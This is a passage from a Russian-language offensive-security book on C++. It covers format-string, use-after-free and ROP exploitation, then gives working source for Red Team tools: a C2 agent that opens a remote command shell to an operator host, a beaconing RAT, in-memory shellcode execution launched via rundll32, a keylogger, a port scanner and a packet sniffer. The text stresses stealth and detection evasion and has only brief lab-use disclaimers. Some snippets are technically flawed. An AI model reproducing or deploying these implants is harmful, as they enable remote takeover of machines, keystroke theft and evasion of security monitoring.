    display(argv[1]);
    return 0;
}


Запуск этого бинарного файла с простым вводом, таким как AAAA, просто выведет "AAAA". Но при передаче %x %x %x %x программа выведет четыре значения из стека. Эти значения являются сырыми данными из памяти, и вы можете продолжать увеличивать количество спецификаторов %x, чтобы прочитать более глубокие участки стека.
Чтобы понять, что происходит, запустите этот бинарный файл в GDB и пошагово пройдите выполнение. Вы увидите, что каждый %x потребляет значение из стека. Тщательно формируя ввод, вы можете утечь адреса памяти, найти адреса возврата или даже обнаружить записи в GOT (Global Offset Table) в динамически связанных бинарных файлах.
Уязвимость становится еще более мощной при введении спецификатора формата %n. Эта директива записывает количество напечатанных на данный момент символов по адресу памяти, переданному в качестве аргумента. Если вы можете поместить адрес указателя на функцию или адреса возврата в правильную позицию в стеке, вы можете перезаписать его произвольными значениями.
Давайте рассмотрим пример в системе Linux, где вы используете эксплойт форматированной строки для перезаписи адреса возврата или записи в GOT.
Вы начинаете с идентификации глобальной переменной или указателя на функцию, которую хотите перезаписать. Предположим, цель - exit(), которая находится в GOT. Вы можете утечь ее адрес, используя шаблоны %x до тех пор, пока не увидите ее значение. Затем вы внедряете сформированную строку формата, которая помещает адрес записи GOT в строку ввода и использует %n для ее перезаписи.
Создание этого эксплойта вручную - медленный процесс, поэтому вы можете использовать C++ для написания скриптов и автоматизации процесса. Вот базовый лаунчер, демонстрирующий, как вы можете внедрить полезную нагрузку форматированной строки и запустить бинарный файл.

#include <windows.h>
#include <iostream>
#include <string>

int main() {
    // Формирование полезной нагрузки со спецификаторами формата для утечки памяти стека
    std::string payload = "%x %x %x %x %x %x %x %x";
    std::string command = "vuln.exe \"" + payload + "\"";
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi;

    if (CreateProcessA(NULL, const_cast<char*>(command.c_str()),
                       NULL, NULL, FALSE,
                       CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
        WaitForSingleObject(pi.hProcess, INFINITE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    } else {
        std::cerr << "Failed to run vulnerable binary.\n";
    }

    return 0;
}


Этот код напрямую не эксплуатирует вектор %n, но он дает вам способ наблюдать за поведением стека с помощью форматированных строк. Полный эксплойт с использованием %n требует, чтобы вы знали точное смещение стека до целевого адреса и использовали заполнение для печати правильного количества символов.
Во многих реальных уязвимостях злоумышленники нацеливаются на записи GOT таких функций, как exit, free или puts. Их перезапись позволяет выполнить произвольный код. Это особенно эффективно в старых бинарных файлах, где защиты, такие как RELRO, не включены. Даже сегодня многие встраиваемые системы и IoT-устройства используют такие бинарные файлы без стековых канареек (stack canaries), ASLR или разделов GOT только для чтения.
Известным историческим примером является уязвимость форматированной строки в FTP-сервере wu-ftpd. Сервер позволял удаленным злоумышленникам создавать пользовательские строки формата, что приводило к выполнению произвольного кода. Эти типы ошибок также использовались в демоне ISC DHCP и в нескольких встраиваемых продуктах, которые предоставляют функции syslog или записи логов неаутентифицированным пользователям.
Эксплойты форматированных строк могут быть чрезвычайно мощными не только для выполнения кода, но и для разведки. Прежде чем у вас появится путь к эксплуатации, вы можете использовать их для утечки адресов памяти, содержимого стека и структуры бинарного файла - информации, необходимой для создания дальнейших полезных нагрузок, особенно в средах с ASLR или защитой стека.
Этот тип уязвимости также применим в программах на C++, особенно когда разработчики смешивают форматирование в стиле C с манипуляциями строками или используют механизмы логирования без экранирования пользовательского ввода. Вы можете столкнуться с ситуациями, когда разработчики используют fprintf(logfile, userInput) без фильтрации. Это открывает ту же самую дверь - потенциально с административными привилегиями, если процесс запущен от имени SYSTEM или root.
Для защиты от уязвимостей форматированных строк всегда используйте фиксированные спецификаторы формата с вариативными функциями. Функции, такие как snprintf(buffer, size, "%s", input), безопасны. Но как только вы позволяете пользовательскому вводу контролировать саму строку формата, вы теряете безопасность памяти.
Как программист, занимающийся наступательной безопасностью, ваша задача - находить эти упущения. Ищите каждый вызов printf, syslog и sprintf в устаревшем коде на C или C++. Отслеживайте, влияет ли на строку формата пользовательский ввод. Если да, то у вас есть сильный кандидат на уязвимость раскрытия памяти или произвольной записи. И как только вы это получите, остальная часть цепочки атаки станет намного проще.

6.4 Уязвимости кучи (Heap Exploits) и атаки Use-After-Free​


В то время как уязвимости, связанные со стеком, фокусируются на локальных переменных фиксированного размера, уязвимости, связанные с кучей, нацелены на динамически выделенную память - те блоки, созданные с помощью malloc, new или HeapAlloc. Во многих реальных приложениях, особенно тех, которые обрабатывают пользовательский ввод переменной длины или асинхронные объекты, куча становится основной поверхностью атаки. Один из самых опасных классов ошибок в куче - это использование после освобождения (Use-After-Free, UAF), когда программа продолжает использовать указатель после того, как память, на которую он ссылается, уже была освобождена.
Давайте разберемся, как это происходит.
Когда программа освобождает память с помощью free или delete, этот блок помечается как доступный для аллокатора памяти. Но сам указатель, если он явно не обнулен или не перезаписан, остается в коде. Если к этому устаревшему указателю обращаются - читают из него или записывают в него - программа теперь работает с памятью, которой она больше не владеет. В лучшем случае это приводит к сбою. В худшем случае эта память уже была перераспределена злоумышленнику, и UAF теперь позволяет читать или записывать в память, контролируемую злоумышленником.
Вот простой фрагмент кода на C++, иллюстрирующий условие UAF.

#include <iostream>
#include <cstring>

class User {
public:
    char *data;
    User(const char *input) {
        data = new char[32];
        strncpy(data, input, 31);
        data[31] = '\0';
    }
    void show() {
        std::cout << "Data: " << data << std::endl;
    }
    ~User() {
        delete[] data;
    }
};

void vulnerable() {
    User *u = new User("Hello from heap!");
    delete u;
    // Условие Use-After-Free
    u->show();
}

int main() {
    vulnerable();
    return 0;
}


Этот код создает объект User, удаляет его, а затем продолжает вызывать метод по тому же указателю. Обращение к data после удаления приводит к UAF, поскольку этот участок памяти был освобожден, но все еще используется. Во многих средах это может "работать" без сбоев - особенно если никакое другое выделение памяти не заняло это пространство. Но непредсказуемость делает это опасным.
Теперь давайте рассмотрим, как злоумышленник может использовать это условие.
Предположим, злоумышленник может повлиять на то, что будет выделено в той же области памяти после освобождения объекта. Если вы контролируете содержимое нового выделения и можете предсказать его адрес, вы можете поместить вредоносные данные в освобожденное место. Когда старый указатель будет повторно использован, он теперь будет ссылаться на эти сформированные данные. Например, если освобожденный объект имел указатель на функцию или vtable, и злоумышленник перезаписал его, вызов этой функции теперь приведет к переходу на код, контролируемый злоумышленником.

Это часто встречается в эксплойтах браузеров, где JavaScript или WebAssembly запускают выделение и освобождение памяти в плотно контролируемом цикле. Повторно выделяя блоки памяти, затем освобождая определенные из них и немедленно заполняя пробелы буферами, контролируемыми злоумышленником, вы можете привести кучу в предсказуемое состояние. Как только вы вызовете UAF, выполнение перейдет к полезной нагрузке.
Немного более продвинутый случай включает повторное использование освобожденных блоков кучи путем повреждения метаданных аллокатора. В ptmalloc, который является аллокатором памяти по умолчанию в Linux, каждый блок кучи содержит метаданные, такие как размер и указатели на соседние блоки. Если вы переполните освобожденный блок и манипулируете его метаданными до его повторного выделения, вы можете обмануть аллокатор, заставив его вернуть перекрывающиеся блоки - два указателя на одну и ту же физическую память. Это позволяет редактировать одну структуру, записывая в другую, что создает так называемую атаку "дублирования fastbin" (fastbin duplication) или "отравления tcache" (tcache poisoning).
Чтобы смоделировать контролируемый UAF с практической ценностью, вы можете рассмотреть этот базовый шаблон C++ с использованием new и delete в приложении Windows.

#include <iostream>
#include <windows.h>

class Config {
public:
    virtual void apply() {
        std::cout << "Applying configuration..." << std::endl;
    }
};

class Exploit {
public:
    static void shell() {
        MessageBoxA(0, "Code Execution Achieved!", "Exploit", 0);
    }
};

int main() {
    Config *cfg = new Config();
    delete cfg;

    // Имитация повторного использования памяти путем перезаписи освобожденной памяти
    void *evil = malloc(sizeof(Config));
    memcpy(evil, &Exploit::shell, sizeof(void*));

    cfg->apply(); // Перехват управления потоком, если vtable повреждена

    return 0;
}


Этот код упрощен для образовательных целей. Он выделяет и освобождает объект, затем повторно использует ту же память с вредоносными данными. Если указатель на виртуальную таблицу (vtable) перезаписан правильно, вызов apply() приведет к переходу на шеллкод злоумышленника - в данном случае, MessageBoxA.
Реальные примеры уязвимостей UAF включают CVE-2014-1776, уязвимость использования после освобождения в Internet Explorer, которая позволяла полное удаленное выполнение кода. Разработчики эксплойтов объединили "груминг кучи" (heap grooming) с раскрытием памяти и перехватом управления потоком для обхода ASLR и DEP. Эта уязвимость затронула миллионы пользователей и показала, насколько мощными могут быть атаки UAF.
В области наступательной безопасности, особенно при создании доказательств концепции (proof-of-concept) эксплойтов или фреймворков вредоносного ПО, понимание аллокатора кучи и его поведения под нагрузкой жизненно важно. Вам часто приходится вызывать фрагментацию, повторное использование или слияние блоков памяти, чтобы надежно разместить ваши полезные нагрузки в нужных областях памяти.

Ошибки UAF особенно привлекательны, поскольку они часто предоставляют примитивы как для чтения, так и для записи. Вы можете использовать их для утечки указателей, реконструкции структуры кучи или изменения чувствительных структур, таких как vtable, указатели на функции или флаги безопасности.
Многие современные средства защиты пытаются укрепить память кучи - Windows имеет LFH и изолированные кучи, Linux использует безопасное "развязывание" (safe unlinking), укрепление tcache и шифрование указателей - но эти средства защиты могут быть обойдены, когда злоумышленники понимают внутренние механизмы. Такие методы, как распыление кучи (heap spraying), груминг выделений и точное определение времени, по-прежнему эффективны, особенно в старых приложениях или в упрощенных средах, таких как встраиваемые устройства.
Самый опасный аспект UAF - его невидимость. В отличие от переполнений буфера, которые могут вызвать немедленные сбои, ошибки UAF часто работают бесшумно. Программа продолжает работать, но теперь использует отравленную память. Это дает злоумышленнику постоянство, скрытность и полный контроль над поведением программы - все ингредиенты, необходимые для превращения первоначального доступа в полный компромисс.

6.5 Программирование, ориентированное на возврат (Return-Oriented Programming, ROP) в C++​


Return-Oriented Programming, или ROP, - это мощная техника эксплуатации, которая позволяет злоумышленникам выполнять произвольный код, не внедряя никакого нового кода вообще. Это становится особенно важным в современных системах, где исполняемые области памяти сильно ограничены функциями безопасности, такими как Data Execution Prevention (DEP) и бит неисполняемости (NX bit).
Вместо размещения шеллкода в стеке или куче, ROP связывает вместе существующие фрагменты кода, уже присутствующие в памяти процесса - в частности, в общих библиотеках, модулях или самом бинарном файле.
Каждый из этих фрагментов кода, называемый гаджетом, заканчивается инструкцией ret и выполняет небольшую операцию, такую как перемещение данных в регистры, выполнение арифметических операций или вызов системных функций. При тщательном связывании эти гаджеты позволяют злоумышленнику создать полную полезную нагрузку, выполняющую сложные задачи, такие как отключение защит, выделение памяти или даже запуск оболочки.
Чтобы по-настоящему понять, как работает ROP, вам нужно понять, что дает вам контроль над указателем стека. Когда происходит переполнение буфера и злоумышленник перезаписывает адрес возврата в стеке, управление передается по любому адресу, который они туда поместят. В системе с включенным DEP переход к шеллкоду в стеке больше не является вариантом, потому что эта память неисполняема. Однако вы можете указать адрес возврата на небольшой фрагмент легитимного кода, уже помеченного как исполняемый.
Давайте рассмотрим упрощенный пример в целевой системе Linux. Предположим, вы переполняете буфер и перезаписываете адрес возврата адресом такого гаджета:

pop eax
ret


Процессор извлекает следующее значение из стека в eax, затем возвращается по адресу, который теперь находится в верхней части стека. Если следующий гаджет:

pop ebx
ret


То ebx загружается следующим, и так далее. Тщательно располагая стек с правильной последовательностью адресов и значений, вы фактически "программируете" ЦП, используя инструкции возврата вместо прямых инструкций управления потоком.
В приложении C++ это может выглядеть как эксплуатация переполнения буфера в методе класса, где локальные переменные стека находятся непосредственно под адресом возврата. Как только вы получите контроль над указателем возврата, ваша цель - подготовить макет стека, заполненный адресами гаджетов и данными. Большинство гаджетов находятся в общих библиотеках, таких как libc в Linux или kernel32.dll в Windows, а инструменты, такие как ROPgadget, rp++, или Radare2, помогают вам их идентифицировать.
Вот пример минимальной ROP-цепочки, которая вызывает VirtualProtect в Windows, чтобы пометить стек как исполняемый, чтобы можно было запустить шеллкод:

// Это концептуальная структура, а не сырой код.
char payload[512];

// Заполнение для достижения адреса возврата
memset(payload, 'A', offset);

// Шаг 1: Адрес VirtualProtect
append(payload, virtualProtectAddr);
// Шаг 2: Адрес возврата после VirtualProtect
append(payload, retAfterVP);
// Шаг 3: Аргументы для VirtualProtect (в обратном порядке)
append(payload, oldProtectPointer);
append(payload, PAGE_EXECUTE_READWRITE);
append(payload, shellcodeSize);
append(payload, shellcodeAddress);


Эта структура заставляет стек интерпретироваться как аргументы функции, которые VirtualProtect использует для изменения разрешений памяти. После этого управление возвращается к шеллкоду, теперь помеченному как исполняемый.
В реальном использовании злоумышленники динамически строят ROP-цепочки для обхода Address Space Layout Randomization (ASLR). Они утекают адрес из известного модуля, вычисляют смещения и на лету связывают гаджеты. Продвинутые полезные нагрузки могут напрямую реализовывать системные вызовы с помощью ROP или загружать целый вредоносный DLL, вызывая LoadLibraryA.
Реальный случай успешного использования ROP - печально известный CVE-2010-3333, затрагивающий Microsoft Office. Он включал переполнение буфера на стеке, которое позволяло злоумышленникам построить ROP-цепочку из msvcrt.dll, сместить стек и в конечном итоге выполнить шеллкод в контексте процесса Office.

Со стороны C++ ситуация становится интереснее, поскольку обработка исключений, виртуальные таблицы и сложные иерархии объектов добавляют дополнительные гаджеты и косвенные точки управления. Злоумышленники могут повредить указатель vtable и вызвать виртуальную функцию, чтобы перейти к своей ROP-цепочке, особенно если DEP и ASLR применяются непоследовательно. Давайте рассмотрим базовый пример поиска гаджета в модуле с помощью ROPgadget:

ROPgadget --binary vuln.exe --only "pop|ret"


Вы можете найти строку вроде:

0x10010234 : pop eax ; ret


Это точно указывает, куда нужно перейти, чтобы загрузить eax из стека. Затем вы поместите соответствующее значение сразу после адреса возврата и продолжите построение остальной части цепочки.
Сложность противодействия ROP заключается в том, что она использует существующий код, поэтому обнаружение на основе сигнатур в основном неэффективно. Современные средства защиты, такие как Control Flow Guard (CFG) в Windows и Shadow Stacks в Linux, пытаются смягчить последствия ROP, но если вам удастся найти незащищенные модули или выполнить переключение стека (stack pivot), она все еще остается действенной.
Таким образом, Return-Oriented Programming превращает повторное использование кода в мощный метод противодействия современным средствам защиты. Контролируя стек и объединяя крошечные исполняемые инструкции в цепочку, злоумышленник может обойти DEP, выполнять произвольные системные вызовы и создавать сложные эксплойты, не внедряя ни одной новой инструкции в память. Для любого специалиста по разработке на C++, занимающегося наступательными технологиями, понимание того, как конструировать и доставлять ROP-цепочки, является необходимым навыком в области продвинутой эксплуатации.


Глава 7 - Создание инструментов Red Team на C++​


C++ предоставляет специалистам Red Team возможность создавать быстрые, скрытные и высококастомизированные наступательные инструменты, которые эффективно работают как в контролируемых, так и в неконтролируемых средах. В отличие от скриптовых языков, C++ компилируется непосредственно в нативный код, что обеспечивает более глубокую интеграцию с операционной системой, более точный контроль над памятью и минимальные зависимости - характеристики, необходимые для того, чтобы оставаться незамеченным.
Эта глава посвящена созданию ключевых утилит Red Team, имитирующих реальное поведение злоумышленников. Вы научитесь разрабатывать собственные агенты Command and Control (C2), которые скрытно обмениваются данными, создавать сканеры и снифферы для обнаружения целей без привлечения внимания, а также реализовывать методы постоянного удаленного доступа с использованием логики маякования (beaconing). Вы также узнаете, как выполнять полезные нагрузки полностью в памяти, используя файловые стратегии, и как извлекать данные по неочевидным каналам, которые маскируются под обычный трафик.
Каждый подраздел включает рабочий код на C++, примеры реального применения и стратегии обхода средств защиты. Цель состоит в том, чтобы предоставить вам практические инструменты и методы для симуляции высококачественных, контролируемых вторжений в целях тестирования и обучения.

7.1 Написание пользовательского агента Command and Control (C2)​


Агент Command and Control (C2) является одним из наиболее фундаментальных инструментов в операциях Red Team. Это цифровая связь между оператором и скомпрометированной системой, позволяющая выполнять удаленное выполнение команд, сбор данных и постановку задач - все это с централизованного интерфейса. В контексте C++ вы можете писать компактные, скрытные C2-импланты, специально адаптированные под желаемое поведение, не полагаясь на большие фреймворки, которые могут быть помечены продуктами безопасности.
Чтобы быть эффективным, C2-агент должен надежно выполнять три задачи: установить соединение с сервером оператора, ждать команд и выполнять эти команды, тихо отправляя результаты обратно. Этого можно достичь с помощью сокетов Windows и механизма выполнения процессов, такого как _popen. Давайте разберем основные идеи на рабочем концепте.
Вы начнете с настройки сокета, который подключается к удаленному IP-адресу и порту - это машина оператора или перенаправитель (redirector). После открытия соединения агент будет находиться в режиме ожидания, получая строки команд от сервера. Когда он получит команду, он выполнит строку с помощью системной оболочки и вернет вывод. Именно так реализуется базовый доступ к командной строке.
Следующий код представляет собой функциональный proof-of-concept Windows C2-агента, написанный на чистом C++. Он написан так, чтобы быть минимальным и понятным, оставаясь при этом рабочим.

#include <winsock2.h>
#include <windows.h>
#include <iostream>
#include <string>
#pragma comment(lib, "ws2_32.lib")
std::string execute_command(const std::string& cmd) {std::string result;
char buffer[128];
FILE* pipe = _popen(cmd.c_str(), "r");
if (!pipe) return "Failed to execute command.";
while (fgets(buffer, sizeof(buffer), pipe) != nullptr) {
result += buffer;
}
_pclose(pipe);
return result;
}
int main() {
WSADATA wsaData;
SOCKET sock;struct sockaddr_in server;
char buffer[2048];
WSAStartup(MAKEWORD(2, 2), &wsaData);
sock = socket(AF_INET, SOCK_STREAM, 0);
server.sin_family = AF_INET;
server.sin_port = htons(4444);
server.sin_addr.s_addr = inet_addr("192.168.1.100"); // Replace
with your server IP
if (connect(sock, (struct sockaddr*)&server, sizeof(server)) != 0) {
closesocket(sock);
WSACleanup();
return 1;
}
send(sock, "[+] Connected\n", strlen("[+] Connected\n"), 0);while (true) {
memset(buffer, 0, sizeof(buffer));
int recv_size = recv(sock, buffer, sizeof(buffer), 0);
if (recv_size <= 0) break;
std::string command(buffer);
std::string output = execute_command(command);
send(sock, output.c_str(), output.length(), 0);
}
closesocket(sock);
WSACleanup();
return 0;
}


Этот агент не шифрует связь, не выполняет обработку ошибок и не скрывает свое поведение. Это сделано намеренно. Он предназначен для чтения и тестирования в лабораторной среде, где основное внимание уделяется принципу работы компонентов.
Отсюда вы можете начать добавлять такие функции, как:

  • ● Шифрование команд с использованием простого XOR или AES для обфускации
  • ● Задержки и джиттер для уменьшения сетевых сигнатур
  • ● Выполнение только в памяти, чтобы избежать записи бинарных файлов на диск


В операции Red Team эта базовая структура часто расширяется до модульного импланта. Операторы могут определять, какие команды поддерживать - например, загрузку/скачивание файлов, выполнение полезных нагрузок или запрос информации о системе - и C2-агент становится гибким инструментом в рабочих процессах пост-эксплуатации.
Всегда помните, что любое тестирование должно проводиться в изолированной лабораторной среде с явного разрешения. Подобные инструменты, даже в образовательных целях, никогда не должны запускаться на неавторизованных системах.

7.2 Разработка сканеров портов и сетевых снифферов​


При создании инструментов Red Team одной из первых задач на скомпрометированной машине часто является сетевая инвентаризация. Вам нужно понять, что находится вокруг, какие порты открыты, какие службы активны и есть ли возможности для бокового перемещения. C++ позволяет создавать быстрые нативные инструменты, которые напрямую взаимодействуют с сетевым стеком - идеально подходят как для сканирования портов, так и для перехвата пакетов.
Начнем со сканера портов. В простейшей форме сканер портов отправляет запрос на соединение на определенный порт целевого IP-адреса. Если соединение успешно, этот порт открыт и прослушивается. Если оно терпит неудачу, порт либо закрыт, либо отфильтрован, либо недоступен. Создавая собственный сканер, вы получаете полный контроль над логикой. Вы можете выбрать, насколько агрессивным или скрытным он будет, как он обрабатывает тайм-ауты и как собираются результаты.
Вот базовый TCP-сканер портов на C++ для Windows, который сканирует первые 1024 порта целевой машины с использованием API Winsock. Он не многопоточный и не обрабатывает методы уклонения - его цель показать, как работает механизм изнутри.

#include <winsock2.h>
#include <ws2tcpip.h>
#include <iostream>
#pragma comment(lib, "ws2_32.lib")
void scan_ports(const char* ip) {
WSADATA wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);
for (int port = 1; port <= 1024; ++port) {SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock == INVALID_SOCKET) continue;
sockaddr_in target;
target.sin_family = AF_INET;
target.sin_port = htons(port);
inet_pton(AF_INET, ip, &target.sin_addr);
if (connect(sock, (sockaddr*)&target, sizeof(target)) == 0) {
std::cout << "Port " << port << " is open" << std::endl;
}
closesocket(sock);
}
WSACleanup();
}


Этот код последовательно подключается к каждому порту и выводит, открыт ли он. Он тихий, минимальный и полезен в контролируемых тестах. На практике вы бы добавили управление временем, парсинг вывода и, возможно, обфускацию для избежания обнаружения.
Теперь перейдем к сетевому сниффингу. Пакетные снифферы используются для наблюдения за трафиком на сетевом интерфейсе. В Red Teaming сниффер помогает увидеть незашифрованные учетные данные, небезопасные протоколы и поведение устройств. На C++ создание сниффера на основе сырых сокетов означает открытие сокета на уровне пакетов и чтение каждого входящего кадра.
Для Windows часто используют WinPcap или Npcap в качестве бэкенда для доступа к пакетам, поскольку поддержка сырых сокетов ограничена и запрещена для непривилегированных пользователей. Вот концептуальный пример использования сырых сокетов для захвата базовых IP-пакетов. Обратите внимание, что это может потребовать прав администратора и специальных настроек брандмауэра:

#include <winsock2.h>
#include <ws2tcpip.h>
#include <iostream>
#pragma comment(lib, "ws2_32.lib")
int main() {
WSADATA wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);SOCKET rawSocket = socket(AF_INET, SOCK_RAW,
IPPROTO_IP);
if (rawSocket == INVALID_SOCKET) {
std::cerr << "Failed to create raw socket" << std::endl;
return 1;
}
sockaddr_in host;
host.sin_family = AF_INET;
host.sin_port = htons(0);
host.sin_addr.s_addr = inet_addr("192.168.1.10"); // your local IP
bind(rawSocket, (sockaddr*)&host, sizeof(host));
DWORD flag = 1;
ioctlsocket(rawSocket, SIO_RCVALL, &flag);
char buffer[65536];while (true) {
int dataLen = recv(rawSocket, buffer, sizeof(buffer), 0);
if (dataLen > 0) {
std::cout << "Packet received (" << dataLen << " bytes)" <<
std::endl;
// Optionally print the packet content or parse headers
}
}
closesocket(rawSocket);
WSACleanup();
}


Это захватывает каждый пакет, попадающий на интерфейс. Затем вы можете парсить заголовки для данных TCP, UDP или ICMP, используя смещения на уровне байтов. Это мощный метод для сетевой разведки или для отслеживания трафика, покидающего скомпрометированную машину.
Используя этот низкоуровневый доступ, вашему инструменту не нужны сторонние бинарные файлы или службы. Он может жить внутри вашего C2-агента и запускать сканирование или захват по команде оператора. В сочетании с хранением в памяти без логов, шифрованием или фильтрами, эти инструменты очень адаптивны для продвинутых задач пост-эксплуатации.
Убедитесь, что вы тестируете этот код только в изолированных средах. Снифферы и сканеры портов часто обнаруживаются средствами защиты конечных точек, а неправильное использование может вызвать сетевые оповещения.

7.3 Инструменты удаленного доступа (RAT) и маякование (Beaconing)​


Инструменты удаленного доступа, или RAT, являются основным элементом операций Red Team. Оказавшись внутри сети, доступ - это только начало. Ценность вашей операции заключается в контроле - тихом, постоянном и гибком. Именно это и предоставляет RAT: прямую линию к системе, где вы можете выдавать команды, собирать данные и переходить к другим целям.
В наступательной разработке на C++ создание RAT включает настройку клиента, который подключается обратно к серверу, контролируемому атакующим. Это обратное соединение часто используется для обхода правил брандмауэра, поскольку исходящий трафик обычно разрешен в большинстве корпоративных сетей. Агент должен быть легким, тихим и, в идеале, файловым. Каждая часть его поведения - от того, как часто он проверяется, до того, как он обрабатывает выполнение команд - должна быть тщательно продумана, чтобы избежать обнаружения.
Маякование (Beaconing) - это паттерн периодического обмена данными с зараженной системы обратно на сервер управления и контроля оператора. Вместо поддержания непрерывного соединения, которое может быть шумным и подозрительным, RAT будет "маяковать" через регулярные интервалы, запрашивать инструкции и сообщать результаты. Это помогает ему сливаться с обычным трафиком и избегать многих систем поведенческого мониторинга.
Давайте рассмотрим строительные блоки простого RAT на C++. Вы начинаете с создания TCP-сокета, который пытается подключиться к удаленному IP-адресу и порту. Если соединение не удается, инструмент просто ждет и пробует снова позже. После успешного подключения он отправляет сигнал "пульса" (heartbeat) и ждет команды. Командой может быть что угодно: запуск оболочки, сбор файлов, запись нажатий клавиш или скачивание дополнительных полезных нагрузок.
Вот пример того, как может выглядеть ядро такого маякующего поведения:

#include <winsock2.h>
#include <windows.h>
#include <iostream>
#pragma comment(lib, "ws2_32.lib")
void beacon_loop(const char* ip, int port) {
while (true) {
SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock == INVALID_SOCKET) {
Sleep(5000);continue;
}
sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip);
if (connect(sock, (sockaddr*)&server, sizeof(server)) !=
SOCKET_ERROR) {
send(sock, "beacon", 6, 0);
char buffer[1024] = {0};
int bytes = recv(sock, buffer, sizeof(buffer), 0);
if (bytes > 0) {
buffer[bytes] = '\0';
FILE* cmd = _popen(buffer, "r");if (cmd) {
char result[1024];
while (fgets(result, sizeof(result), cmd)) {
send(sock, result, strlen(result), 0);
}
_pclose(cmd);
}
}
closesocket(sock);
}
Sleep(10000); // Wait 10 seconds before the next beacon
}
}


Такой маякующий RAT прост, но опасен при эффективном развертывании. Он не требует специальных библиотек и легко вписывается в модульный фреймворк Red Team. Вы можете скомпилировать его с помощью Visual Studio или MinGW и даже зашифровать строки и полезные нагрузки для обхода статического обнаружения.
Что делает RAT опасным, так это не только соединение - это полезные нагрузки, которые он извлекает, боковое перемещение, которое он обеспечивает, и то, насколько хорошо он скрывается. Язык C++ позволяет вам избегать типичных путей обнаружения, потому что вы не полагаетесь на высокоуровневые библиотеки или известные вредоносные инструменты. Вы создаете свой инструмент с нуля, адаптированный под целевую среду.
По мере расширения функционала вашего RAT вы будете добавлять персистентность, кражу учетных данных и шифрование связи. Но даже в своей минимальной форме маякующий C++ RAT дает вам точку опоры, которая сливается с окружением и тихо работает до тех пор, пока вы не будете готовы к действию.

7.4 Файловое выполнение и тактики "Living-off-the-Land"​


Если вы создаете инструменты для операций Red Team, оставаться незамеченным так же важно, как и получить доступ. Один из методов, который становится все более эффективным, - это файловое выполнение. Этот подход запускает ваш вредоносный код непосредственно в памяти, не касаясь диска. Большинство традиционных антивирусных систем и решений для обнаружения конечных точек сильно полагаются на сканирование активности файловой системы. Поэтому, избегая записи файлов, вы обходите большую часть их поверхности обнаружения.
На C++ файловое выполнение обычно означает внедрение шеллкода или DLL в память и их выполнение без записи на диск. Вы можете динамически выделять память с помощью VirtualAlloc, копировать вашу полезную нагрузку в эту область, а затем выполнять ее, создавая новый поток или перехватывая существующий.
Вот пример выполнения сырого шеллкода в памяти с использованием Windows API:

#include <windows.h>
#include <iostream>
unsigned char shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, // just a placeholder
0xe8, 0x00, 0x00, 0x00, 0x00 // your actual payload goes here
};
int main() {
void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT |
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof(shellcode));
((void(*)())exec)();return 0;
}


Этот фрагмент показывает фундаментальную концепцию. Вы выделяете память с правами на выполнение, копируете туда свой шеллкод и приводите указатель на память к типу функции, которая затем вызывается напрямую. Файл не задействован, и шеллкод существует только в памяти во время выполнения.
Чтобы развить эту концепцию дальше и сделать ее еще более скрытной, вы можете внедрить шеллкод в другой запущенный процесс. Функции, такие как OpenProcess, VirtualAllocEx, WriteProcessMemory и CreateRemoteThread, позволяют сделать именно это. Это позволяет вашей полезной нагрузке работать внутри легитимного системного процесса, такого как explorer.exe или svchost.exe, что значительно затрудняет обнаружение.
Тактики "Living-off-the-land" (LOTL) идут рука об руку с файловым выполнением. Вместо того чтобы приносить новые инструменты или бинарные файлы, которые могут быть помечены, вы используете доверенные нативные инструменты, которые уже существуют в целевой системе. PowerShell, rundll32.exe, mshta.exe, certutil.exe и даже макросы Microsoft Office могут использоваться в качестве загрузчиков или векторов выполнения для ваших C++ полезных нагрузок.
Например, rundll32.exe может использоваться для загрузки вашей скомпилированной DLL, содержащей логику выполнения шеллкода:

extern "C" __declspec(dllexport) void RunPayload() {
void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT |
MEM_RESERVE, PAGE_EXECUTE_READWRITE);memcpy(exec, shellcode, sizeof(shellcode));
((void(*)())exec)();
}


После компиляции этой DLL вы можете запустить ее так:

rundll32.exe yourpayload.dll,RunPayload


Этот метод использует подписанный бинарный файл Windows для загрузки и выполнения вашего кода. Для многих инструментов безопасности это выглядит как легитимная команда.
Эти стратегии мощны, потому что они затрудняют атрибуцию и обнаружение. Ваши инструменты не существуют на диске. Ваши методы выполнения выглядят нативными. И ваша персистентность сливается с обычными системными операциями. Однако такая мощь также сопряжена с ответственностью. Как всегда, эти методы должны использоваться этично, в рамках закона и только для исследований безопасности или авторизованных мероприятий.
При правильной реализации файловые тактики и тактики LOTL могут значительно уменьшить след ваших C++ бэкдоров, RAT или дропперов. Вы не просто обходите антивирус - вы используете само доверие, которое система оказывает своим собственным компонентам.

7.5 Логирование и эксфильтрация через скрытые каналы​


Когда полезная нагрузка получает доступ к целевой системе, сбор данных часто является одной из первых целей. Но сбор информации - это только половина проблемы; извлечение ее без обнаружения отличает шумный эксплойт от эффективного инструмента Red Team. Здесь в игру вступают скрытое логирование и незаметная эксфильтрация. Используя C++, вы можете записывать нажатия клавиш, содержимое буфера обмена, имена файлов и другие конфиденциальные материалы в память или в скрытое локальное хранилище, а затем тихо извлекать эти данные через каналы, выглядящие легитимными.
Начнем с логирования. Например, C++ кейлоггер может использовать GetAsyncKeyState для захвата нажатий клавиш без перехвата более глубоких API. Хотя он менее мощный, чем полный перехват клавиатуры, он тише и менее вероятно будет помечен.

#include <windows.h>
#include <fstream>
int main() {
std::ofstream log("C:\\Users\\Public\\log.txt", std::ios::app);
while (true) {
for (char c = 8; c <= 255; c++) {
if (GetAsyncKeyState(c) & 1) {
log << c;
log.flush();}
}
Sleep(10);
}
return 0;
}


Этот пример записывает каждое нажатие клавиши в файл, хранящийся в менее подозрительном месте. Вы можете зашифровать лог перед записью на диск или, что еще лучше, вообще избежать записи на диск, удерживая лог в памяти и периодически извлекая его.
